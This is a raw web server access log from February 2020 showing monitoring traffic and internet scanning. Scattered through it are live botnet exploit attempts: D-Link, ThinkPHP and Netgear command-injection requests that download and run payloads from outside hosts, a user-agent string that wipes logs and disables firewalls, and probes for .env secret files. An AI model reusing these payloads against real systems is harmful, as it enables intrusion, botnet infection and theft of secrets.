212.91.246.72 - - [21/Feb/2020:20:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.171.97 - - [21/Feb/2020:20:14:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [21/Feb/2020:20:14:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
84.232.244.193 - - [21/Feb/2020:20:15:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:20:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.21.133 - - [21/Feb/2020:20:19:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:20:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.85.4.253 - - [21/Feb/2020:20:20:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:20:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.224.96.217 - - [21/Feb/2020:20:24:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:20:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.52.49.211 - - [21/Feb/2020:20:26:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
120.79.33.166 - - [21/Feb/2020:20:26:57 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
103.206.53.161 - - [21/Feb/2020:20:27:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:20:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.75.146 - - [21/Feb/2020:20:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:20:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.165.196.171 - - [21/Feb/2020:20:32:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:20:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.75.35.91 - - [21/Feb/2020:20:35:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:20:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [21/Feb/2020:20:41:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:20:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.88.255.162 - - [21/Feb/2020:20:47:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:20:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.180.254 - - [21/Feb/2020:20:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [21/Feb/2020:20:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:20:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.130.102.59 - - [21/Feb/2020:20:55:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:20:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.90.247.109 - - [21/Feb/2020:20:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:20:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [21/Feb/2020:20:58:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [21/Feb/2020:20:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [21/Feb/2020:20:59:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [21/Feb/2020:20:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.70.42.210 - - [21/Feb/2020:21:01:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:21:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [21/Feb/2020:21:05:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:21:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.149.163.86 - - [21/Feb/2020:21:11:40 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [21/Feb/2020:21:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.82.8 - - [21/Feb/2020:21:25:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:21:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:21:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.40.121.234 - - [21/Feb/2020:21:28:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:21:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [21/Feb/2020:21:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:21:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.190.59.207 - - [21/Feb/2020:21:30:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [21/Feb/2020:21:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.0.123.55 - - [21/Feb/2020:21:31:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:21 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:22 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [21/Feb/2020:21:31:23 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
